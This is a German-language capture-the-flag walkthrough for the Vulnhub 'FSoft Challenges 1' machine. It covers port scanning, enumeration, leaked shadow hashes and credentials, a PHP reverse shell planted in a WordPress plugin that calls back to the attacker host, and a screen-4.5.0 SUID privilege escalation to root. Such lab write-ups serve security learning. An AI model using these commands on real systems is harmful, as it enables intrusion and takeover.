VM: FSoft Challenges VM: 1 – Vulnhub
Quelle: www.vulnhub.com
Ziel: Kontrolle übernehmen und root.txt auslesen.
Tools: LinEnum.sh, NMAP, DIRB, WPScan
Techniken: Netzwerk & Port Scan, Enumeration, Privilege Escalation, Exploit Using,
Schritt 1: Scanning
Voraussetzungen: VM ist gestartet, eine IP wurde durch DHCP zugewiesen.
Nachdem die VM gestartet und geladen wurde, müssen wir die IP von der VM ermitteln. Dabei hilft uns das Tool NMAP welches beim Kali Linux schon vorinstalliert ist. Falls auf deinem System kein NMAP installiert ist, kannst du es aus Repositorien oder von der Seite des Entwicklers herunterladen und installieren.
Mit dem Befehl nmap -PE -sn -oG - 192.168.178.1/24 scannen wir unser Netzwerk auf aktive Geräte, die auf ein Ping antworten. Als Netzwerkadresse muss du dein Netzwerkbereich eingeben.
Bei mir wurde der VM die IP 192.168.178.99 (rot markiert) zugewiesen.
Nachdem wir die IP von der VM ermittelt haben, können wir einen Port-Scan durchführen. Mit einem Port-Scan kann ermittelt werden welche Dienste auf der VM laufen. Das machen wir mit dem gleichen Tool nur mit anderem Parameter. nmap -p- -A 192.168.178.99 gibt uns alle offene Ports aus, die auf ein TCP Verbindungsversuch antworten.
Wie auf dem Bild zu sehen ist, wurden acht offene Ports ermittelt:
| Port | Service |
| 21 | FTP |
| 22 | SSH |
| 53 | DNS |
| 80 | HTTP |
| 111 | RPC Bind (Portmapper) |
| 139 | SMB |
| 445 | SMB |
| 8314 | HTTP |
Wir werden nicht auf alle diese Ports eingehen, damit die Lösung nicht unnötig lang wird.
Schritt 2: Enumeration
Port 21 – FTP Server
Zu diesem Zeitpunkt können wir hier keine nützliche Information gewinnen.
Port 22 – SSH Server
Zu diesem Zeitpunkt können wir hier keine nützliche Information gewinnen.
Port 53 – DNS Server
Zu diesem Zeitpunkt können wir hier keine nützliche Information gewinnen.
Port 80 – HTTP Server
Hier wird es langsam interessanter. Wenn wir die IP in einen Web-Browser eingeben, sehen wir folgendes Bild.
Hier können wir ein Paar Informationen sammeln, ob wir die nutzen können sehen wir später. Interessanterweise wurde vom NMAP die robots.txt Datei nicht gefunden, obwohl sie existiert. Rufen wir sie einfach in dem Web-Browser auf: http://192.168.178.99/robots.txt
/backup
/images
/blog
/jenky
/data
/assets
/install
/prototypes
/locations
/choose1
Wie es aussieht es existieren mehrere Einträge, die wir natürlich weiter nutzen können.
/backup – vier Dateien (passwd.bak, secret.pcapng, shadow.bak, web_12032018-backup.zip) die wir für die spätere Analyse herunterladen.
/images
/blogWordPress Installation. Sehen wir später mal an.
/jenky
/data
/assetsadminer.php Datei und ein Ordner css. In dem Ordner /assets/css/img/opendocman befindet sich eine neue Installation von opendocman.
/install
/prototypes
/locations
/choose1
Ein zusätzlicher Scan mit DIRB hat noch ein Paar weitere Ergebnisse geliefert.
/manual – Apache 2 Handbuch /blog/wp-includes – mehrere Dateien. Falsch konfigurierte Berechtigungen /blog/wp-admin/css/ – mehrere Dateien. Falsch konfigurierte Berechtigungen /blog/wp-admin/images/ – mehrere Dateien. Falsch konfigurierte Berechtigungen /blog/wp-admin/includes/ – mehrere Dateien. Falsch konfigurierte Berechtigungen /blog/wp-admin/js/ – mehrere Dateien. Falsch konfigurierte Berechtigungen
/blog/wp-admin/maint/ – mehrere Dateien. Falsch konfigurierte Berechtigungen
/blog/wp-content/plugins/ – mehrere Dateien. Falsch konfigurierte Berechtigungen
/blog/wp-content/themes/ – Falsch konfigurierte Berechtigungen /blog/wp-content/uploads/ – hier wurden in dem Unterordner 2019/11 drei weitere Dateien gefunden, die wir später Analysieren können (application-passwords-1.zip, application-passwords.zip, wp-editor-master.zip)
Port 111 – RPC Bind
Zu diesem Zeitpunkt können wir hier keine nützliche Information gewinnen.
Port 139 – SMB Freigabe
Port 445 – SMB Freigabe
Zu diesem Zeitpunkt können wir hier keine nützliche Information gewinnen.
Port 8314 – HTTP Server
Hier läuft ein weiteres HTTP-Server. Die Startseite liefert uns dieselben Informationen wie auf dem Port 80. Auch die robots.txt sieht ähnlich aus, bis auf den Backup Verzeichnis.
/backup2
/images
/blog
/jenky
/data
/assets
/install
/prototypes
/locations
/choose1
Beim Aufrufen des /backup2 Verzeichnisses wird direkt vorgeschlagen eine Datei herunterzuladen. Alle anderen Verzeichnisse werden nicht gefunden.
Schritt 3 – File Exploration
Jetzt, wo alle Ports geprüft wurden, versuchen wir weitere Informationen aus unseren Funden zu gewinnen. Fangen wir zuerst mit den heruntergeladenen Dateien.
passwd.bak – es handelt sich dabei um einen Backup der passwd Datei. Nützliche Informationen:
root:x:0:0:root:/root:/bin/bash
fsoft:x:1000:1000:Hacking Labs,,,:/home/fsoft:/bin/bash
shadow.bak – es handelt sich dabei um einen Backup der shadow Datei. Nützliche Informationen:
root:$6$Vecr/cwrJdZ1QPJ5$DdI9uFehxdWSZYHtuY3ymlOR.F8iHBA25wxgBASpNA9IxwQ8/KmqRUH1TMiKR9y4q234szzo0.UaHdn9YbG720:18223:0:99999:7:::
fsoft:$6$jxlMs60rp44NJWvf$b30I/W4R/NA8NcSSXF2CmpgXUshZbp7RcYSH0y6DorzH0vYMuIJqB23N4lxvLw1kyD29ytMJhwYza0cEcaDhN.:18223:0:99999:7:::Hier könnte man versuchen die beide Passwörter zu Brute Forcen.
secret.pcapng – hier handelt es sich um einen tcpdump. Leider wurde nichts Nützliches gefunden.
web_12032018-backup.zip – eine Sicherung der CMSmini CMS. Unter /admin/config.php wurden folgende Daten gefunden:
$admin_login = 'admin';
$admin_pass = 'admin@123'; application-passwords-1.zip
application-passwords.zip – der Inhalt ist identisch. Keine nützlichen Informationen.
wp-editor-master.zip – WordPress Plug-In WP-Editor. Keine nützlichen Informationen.
Sq3BTKPa – eine WordPress Konfigurationsdatei. Nützliche Informationen sind die Zugangsdaten zu der Datenbank:
Schritt 4 – WordPress Exploration
Jetzt versuchen wir mehr Informationen aus der WordPress Installation zu gewinnen. Helfen wird uns dabei wie immer das Tool WPScan.
wpscan --url http://192.168.178.99/blog/ -e
WPScan liefert uns folgende Ergebnisse:
- Es existiert ein Backup der Konfiguration:
http://192.168.178.99/blog/wp-config.php.bak - Es existieren 2 Benutzer:
adminundfs0ft - es existieren 4 Schwachstellen
Wenn wir das Backup der Konfiguration analysieren, finden wir weitere Zugangsdaten zu der Datenbank:
Ein Login Versuch mit uns bekannten Benutzer und Passwörter hat ergeben, dass ein Login mit dem Benutzer admin und Passwort admin möglich ist. Leider hat der Benutzer admin keine Rechte in dem Admipanel. Für den Benutzer fs0ft passte keins der Passwörter.
Schritt 5 – Exploration
Beim Schritt 2 fanden wir in dem /assets Verzeichnis die adminer.php und die opendocman Installation. Versuchen wir unser Glück da.
Beim adminer.php handelt es sich um eine Applikation zum Verwalten von Datenbanken. Versuchen wir hier unsere vorher gefundene Zugangsdaten.
Hier passten die Zugangsdaten, die wir in der Sq3BTKPa Datei gefunden haben.
Variante 1
Bei dem Erkunden des Datenbanks finden wir eine Tabelle wp-cracked in der wir weitere Zugangsdaten finden.
Mit diesen Zugangsdaten können wir uns in WordPress einloggen.
Variante 2
Alternativ könnte man in der Tabelle wp_user das Passwort vom fs0ft auf den uns bekannten Passwort vom admin austauschen.
Hier muss nur der Wert in der Spalte user_pass kopiert werden. Danach ist ein Login mit den Benutzerdaten fs0ft/admin möglich.
Schritt 6 – Reverse Shell
Da wir jetzt als Benutzer fs0ft mit vollen Adminrechten in WordPress eingeloggt sind, können wir entweder eine PHP-Shell oder eine Reverse-Shell installieren. Dazu gehen wir in den Bereich Plugins -> Plugin Editor und editieren die index.php Datei von dem Plugin Hello Dolly.
Dabei fügen wir folgender Code ein und speichern es ab:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.178.100/8888 0>&1'");
?>
Und aktivieren es anschließend.
Jetzt starten wir auf unserem Host netcat welches dann auf eingehende Verbindungen wartet:
nc -lvp 8888
Mit dem Aufruf von http://192.168.178.99/blog/wp-content/plugins/hello-dolly/index.php starten wir unsere Reverse Shell.
Schritt 7 – Host Exploration & Privilege Escalation
Nachdem wir eine Verbindung aufgebaut haben, ist es an der Zeit den Host auf mögliche Schwachstellen zu prüfen. Dazu nutze ich das Skript LinEnum.sh. Ich lade es von meinem Rechner herunter, kann aber auch direkt von github heruntergeladen werden.
wget 192.168.178.100:8000/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
Leider lieferte das Skript keine expliziten Treffer auf eine Schwachstelle. Was aber bei der Analyse der Ausgabe aufgefallen ist, dass im Abschnitt mit SUID Dateien eine auffällige Datei mit dem Namen screen-4.5.0 sich befinden. Normalerweise steht keine Versionsnummer bei den Dateien.
Die Suche bei www.exploit-db.com lieferte 2 Ergebnisse zu dieser Version von screen.
Wir nutzen das Skript von Xiphos Research Ltd. Leider funktionierte das Skript nicht auf Anhieb, so dass ich es manuell nachmachen musste.
In dem Quellcode von dem Skript können wir sehen können, dass es zuerst zwei Dateien (libhax.so und rootshell) erstellt werden. Ich habe die Dateien auf meinem Rechner erstellt und dann per wget auf die Ziel VM geladen. Danach wurde das Skript manuell wiederholt.
wget 192.168.178.100:8000/libhax.so
wget 192.168.178.100:8000/rootshell
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshellid
cd /root
ls
cat root.txt
